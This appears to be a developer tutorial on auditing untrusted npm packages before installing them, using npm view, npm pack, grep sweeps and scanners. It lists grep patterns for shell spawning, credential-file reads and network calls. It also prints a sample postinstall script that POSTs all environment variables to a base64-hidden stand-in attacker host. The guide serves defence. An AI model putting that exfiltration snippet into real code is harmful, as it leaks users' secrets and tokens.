You are about to run npm install some-package and hand a stranger's code full access to your machine, your environment variables, and your CI pipeline. Last year alone, hundreds of malicious packages were caught on npm, many of them typosquats of popular libraries that stole credentials the moment they were installed.
This is a 10-minute manual audit workflow for any npm package you do not fully trust. It is written for JavaScript and Node.js developers, DevOps engineers, and anyone reviewing dependencies in a security-sensitive codebase. No paid tools required, just your terminal.
Set a timer. Let's go.
Minute 0 to 1: Never install first. Inspect the metadata.
The most important rule: do not install the package to inspect it. Malicious code usually runs at install time, not at import time. Start with metadata:
`bash
npm view lodash-utilz
Look at four things in the output:
lodash-utilz@1.0.3 | MIT | deps: 2 | versions: 3
dist-tags:
latest: 1.0.3
published 2 days ago by newdev4821 newdev4821@protonmail.com `
Red flags to catch here:
Very young package or very few versions. A "utility" library with 3 versions published in the last week is suspicious.
Name that looks almost like a popular package. lodash-utilz, reakt-dom, crossenv. Typosquatting is the number one delivery method.
Maintainer mismatch. A brand new email publishing a package that claims to belong to a known project.
Sudden maintainer change on an old package. Check with npm view maintainers and compare against the GitHub repo.
Minute 1 to 3: Check the install scripts
This is where most npm malware lives. Lifecycle scripts like preinstall, install, and postinstall execute arbitrary shell commands on your machine automatically during npm install.
Pull the manifest straight from the registry:
`bash
npm view lodash-utilz --json | node -e "
const pkg = JSON.parse(require('fs').readFileSync(0, 'utf8'));
console.log(JSON.stringify(pkg.scripts, null, 2));
"
A malicious result looks like this:
json
{
"postinstall": "node ./lib/setup.js"
}
`An innocent-looking setup.js reference is exactly how credential stealers hide. Legitimate packages that genuinely need install scripts (native builds like node-gyp, binary downloads like esbuild) are well known. A random utility library has no reason to run anything at install time.
Quick heuristic: any post install script in a small, unknown package is guilty until proven innocent.
Minute 3 to 5: Download the tarball without installing
npm pack downloads exactly what the registry serves, with zero script execution:
`bash
mkdir /tmp/audit && cd /tmp/audit
npm pack lodash-utilz
tar -xzf lodash-utilz-1.0.3.tgz
cd package
ls -laR `
Why this matters: the code on GitHub and the code on npm are not guaranteed to match. Attackers routinely publish a clean repo and a poisoned tarball. Always audit the tarball, never the repo.
While you are here, check for files that should not exist: .env, unexplained .node binaries, minified blobs in a package that claims to ship readable sources.
Minute 5 to 8: Grep for the classic malware patterns
You now have the real shipped code on disk. Run this pattern sweep:
`bash
grep -rn --include="*.js" -E \
"eval(|Function(|child_process|.exec(|spawn(" .
grep -rn --include="*.js" -E \
"process.env|.npmrc|.ssh|.aws|hosts" .
grep -rn --include="*.js" -E \
"http.request|https.request|fetch(|XMLHttpRequest|dns.resolve" .
grep -rn --include="*.js" -E \
"base64|fromCharCode|\\x[0-9a-f]{2}" . `
What each sweep catches:
Dynamic execution: eval, new Function, child_process. A string-manipulation library has no business spawning shells.
Sensitive reads: code touching process.env, .npmrc (your npm token lives there), .ssh, or .aws directories.
Network exfiltration: outbound requests to hardcoded IPs or unfamiliar domains. Ask yourself: why does this package phone home at all?
Obfuscation: long base64 strings, String.fromCharCode chains, hex-escaped strings. Legitimate open source has no reason to hide its logic.
Real-world example of what you might find:
`
js
// lib/setup.js
const h = Buffer.from('aHR0cHM6Ly9ldmlsLmV4YW1wbGUvYw==', 'base64').toString();
require('https').request(h, { method: 'POST' })
.end(JSON.stringify(process.env)); `
That is your entire environment, including CI secrets and npm tokens, POSTed to an attacker. Two lines. This is why the grep sweep takes priority over reading every file.
Minute 8 to 9: Diff the dependency tree
Malware also arrives transitively. Before adding the package, preview what it drags in:
`bash
npm install lodash-utilz --dry-run
Then check the tree for anything unexpected:
bash
npm view lodash-utilz dependencies `
A tiny helper library pulling in 40 transitive dependencies, or depending on another unknown week-old package, deserves a hard pass.
Minute 9 to 10: Run the automated second opinion
Finish with tooling that checks the package against known-bad databases:
`bash
Checks against the OSV and GitHub advisory databases
npx osv-scanner --lockfile package-lock.json
Interactive pre-install gate: audits BEFORE installing
npx npq install lodash-utilz `
For ongoing protection, wire one of these into CI so every pull request that touches package.json gets the same scrutiny automatically. Socket, OSV-Scanner, and npm audit signatures (which verifies registry provenance) all run cleanly in GitHub Actions.
The 10-minute checklist
Copy this into your team wiki:
[ ] npm view: age, versions, maintainer, name typos
[ ] Manifest: any preinstall/install/postinstall scripts?
[ ] npm pack: audit the tarball, not the GitHub repo
[ ] Grep sweep: eval, child_process, env reads, network, base64
[ ] Dependency tree: --dry-run before real install
[ ] Automated scan: osv-scanner or npq as second opinion
Ten minutes of friction versus a leaked AWS key and a rotated-credentials fire drill. Easy trade.
What's next
This manual workflow catches the common 90 percent. Supply chain attacks like dependency confusion, compromised maintainer accounts, and build-pipeline injection need deeper coverage: registry provenance verification, lockfile pinning policy, and continuous monitoring of your full dependency graph.
What is your team's process for vetting new dependencies? Drop it in the comments, genuinely curious what gates other teams use.